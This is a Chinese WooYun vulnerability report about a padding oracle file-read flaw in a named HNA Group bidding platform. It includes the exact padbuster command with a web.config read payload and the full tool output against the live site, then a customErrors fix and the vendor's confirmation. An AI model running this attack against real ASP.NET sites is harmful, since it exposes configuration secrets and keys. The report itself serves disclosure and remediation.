当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0101591

漏洞标题:海航集团某平台Padding Oracle文件读取漏洞

相关厂商:hnagroup.com

漏洞作者: Vig0r

提交时间:2015-03-17 15:55

修复时间:2015-05-02 10:20

公开时间:2015-05-02 10:20

漏洞类型:敏感信息泄露

危害等级:中

自评Rank:6

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-03-17: 细节已通知厂商并且等待厂商处理中
2015-03-18: 厂商已经确认,细节仅向厂商公开
2015-03-28: 细节向核心白帽子及相关领域专家公开
2015-04-07: 细节向普通白帽子公开
2015-04-17: 细节向实习白帽子公开
2015-05-02: 细节向公众公开

简要描述:

老问题了

详细说明:

http://bid.hnagroup.com/ 海航IT项目管控平台
源代码中有这么一行

<script src="/WebResource.axd?d=3QidBs4cs7q9TUMBuN-tMg2&amp;t=635176251226110537" type="text/javascript"></script>


./padbuster.pl http://bid.hnagroup.com/WebResource.axd?d=3QidBs4cs7q9TUMBuN-tMg2 3QidBs4cs7q9TUMBuN-tMg 16 -encoding=3 -plaintext "|||~/web.config"


Kali-2015-03-15-23-08-54.png


Kali-2015-03-15-23-09-05.png


密钥出来了

漏洞证明:

./padBuster.pl http://bid.hnagroup.com/WebResource.axd?d=3QidBs4cs7q9TUMBuN-tMg2 3QidBs4cs7q9TUMBuN-tMg2 16 -encoding=3 -plaintext "|||~/Web.config"
+-------------------------------------------+
| PadBuster - v0.3 |
| Brian Holyfield - Gotham Digital Science |
| labs@gdssecurity.com |
+-------------------------------------------+
INFO: The original request returned the following
[+] Status: 200
[+] Location: N/A
[+] Content Length: 20931
INFO: Starting PadBuster Encrypt Mode
[+] Number of Blocks: 1
INFO: No error string was provided...starting response analysis
*** Response Analysis Complete ***
The following response signatures were returned:
-------------------------------------------------------
ID# Freq Status Length Location
-------------------------------------------------------
1 1 500 3881 N/A
2 ** 255 500 4897 N/A
-------------------------------------------------------
Enter an ID that matches the error condition
NOTE: The ID# marked with ** is recommended : 2
Continuing test with selection 2
[+] Success: (206) [Byte 16]
[+] Success: (208) [Byte 15]
[+] Success: (91) [Byte 14]
[+] Success: (172) [Byte 13]
[+] Success: (135) [Byte 12]
[+] Success: (72) [Byte 11]
[+] Success: (171) [Byte 10]
[+] Success: (106) [Byte 9]
[+] Success: (228) [Byte 8]
[+] Success: (131) [Byte 7]
[+] Success: (38) [Byte 6]
[+] Success: (202) [Byte 5]
[+] Success: (0) [Byte 4]
[+] Success: (53) [Byte 3]
[+] Success: (67) [Byte 2]
[+] Success: (75) [Byte 1]
Block 1 Results:
[+] New Cipher Text (HEX): 27304773e97aec8f4ccf21ecce31b5ce
[+] Intermediate Bytes (HEX): 5b4c3b0dc62d89ed62ac4e82a858d2cf
-------------------------------------------------------
** Finished ***
[+] Encrypted value is: JzBHc-l67I9MzyHszjG1zgAAAAAAAAAAAAAAAAAAAAA1
-------------------------------------------------------

修复方案:

<configuration>
<system.web>
<customErrors mode="On" redirectMode="ResponseRewrite" defaultRedirect="~/error.aspx" />
</system.web>
</configuration>

版权声明:转载请注明来源 Vig0r@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:6

确认时间:2015-03-18 10:18

厂商回复:

谢谢,我们会立即组织修复。

最新状态:

暂无